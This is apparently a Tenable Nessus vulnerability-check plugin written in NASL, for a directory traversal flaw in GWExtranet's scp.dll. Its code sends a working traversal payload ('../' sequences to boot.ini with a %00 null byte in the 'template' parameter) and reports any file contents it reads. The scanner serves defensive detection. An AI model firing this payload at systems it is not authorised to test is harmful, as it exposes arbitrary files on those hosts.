GWExtranet gwextranet/scp.dll Multiple Parameter Traversal Local File Inclusion

#%NASL_MIN_LEVEL 70300
#
#  (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(28293);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(26525);

  script_name(english:"GWExtranet gwextranet/scp.dll Multiple Parameter Traversal Local File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web service extension that is prone
to a directory traversal attack.");
  script_set_attribute(attribute:"description", value:
"The remote host is running GWextranet, an add-on for GroupWise for
publishing via the web GroupWise calendar and folder information. 

The version of GWextranet installed on the remote host fails to
sanitize user-supplied input to the 'template' parameter of the
'scp.dll' extension before using it to access files.  On a Windows
platform, an unauthenticated attacker can leverage this issue to read
the content of arbitrary files on the remote host, subject to the
privileges of the web server user id.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/484039/30/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/11/21");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/11/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, embedded: 0);

# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/GWextranet", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  file = "../../../../../../../../../../../../boot.ini";

  w = http_send_recv3(method:"GET",
    item:string(
      dir, "/scp.dll/sendto?",
      "template=", file, "%00", SCRIPT_NAME
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  # There's a problem if it looks like we were successful.  
  if ("[boot loader]" >< res)
  {
    if (report_verbosity)
    {
      report = string(
        "\n",
        "Here are the contents of the file '\\boot.ini' that Nessus was able to\n",
        "read from the remote host :\n",
        "\n",
        res
      );
      security_warning(port:port, extra:report);
    }
    else security_warning(port);

    exit(0);
  }
}